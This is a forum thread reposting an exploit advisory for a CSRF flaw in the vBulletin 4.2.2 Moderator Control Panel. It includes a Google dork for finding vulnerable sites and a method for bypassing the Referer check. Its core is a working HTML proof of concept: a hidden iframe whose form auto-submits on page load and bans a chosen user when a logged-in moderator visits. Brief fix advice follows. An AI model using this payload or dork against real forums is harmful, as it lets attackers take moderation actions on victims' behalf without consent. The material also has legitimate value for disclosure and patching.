Загрузка...

vBulletin 4.2.2 Moderator Control Panel 4.2.2 CSRF Vulnerability

Thread in Web vulnerabilities created by RaysMorgan Dec 26, 2014. 1852 views

  1. RaysMorgan
    RaysMorgan Topic starter Dec 26, 2014 Че скажете 53,984 Mar 7, 2013
    Code
    # Exploit Title: vBulletin Moderator Control Panel CSRF
    
# Google Dork: "Powered by vBulletin Version 4.2.2"
    
# Date: 16-12-2014
    
# Exploit Author: Tomescu Daniel
    
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/
    
# Software Link: Premium
    
# Version: vBulletin 4.2.2
    
# Tested on: Chrome and Firefox
    
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst
    

    

    
### 1. Description
    

    
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.
    

    
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.
    

    
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.
    

    
### 2. Proof of Concept
    

    
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:
    

    
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"
    
src='data:text/html,
    
<html>
    
<body>
    
<iframe style="display:none" name="csrf-frame"></iframe>
    
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">
    
<input type="hidden" name="do" value="dobanuser" >
    
<input type="hidden" name="adminhash" value="" >
    
<input type="hidden" name="securitytoken" value="" >
    
<input type="hidden" name="username" value="UserToBeBanned" >
    
<input type="hidden" name="usergroupid" value="8" >
    
<input type="hidden" name="period" value="D_7" >
    
<input type="hidden" name="reason" value="Banned with CSRF" >
    
<input type="submit" value="submit">
    
</form>
    
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>
    
</body>
    
</html>'>
    
</iframe>
    

    
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.
    

    
### 3. Solution:
    

    
Do not allow POST requests without a Referer header.
    
Verify "adminhash" and "securitytoken" to be valid.
    [/CODE]
     
    Dec 26, 2014
Loading...
Top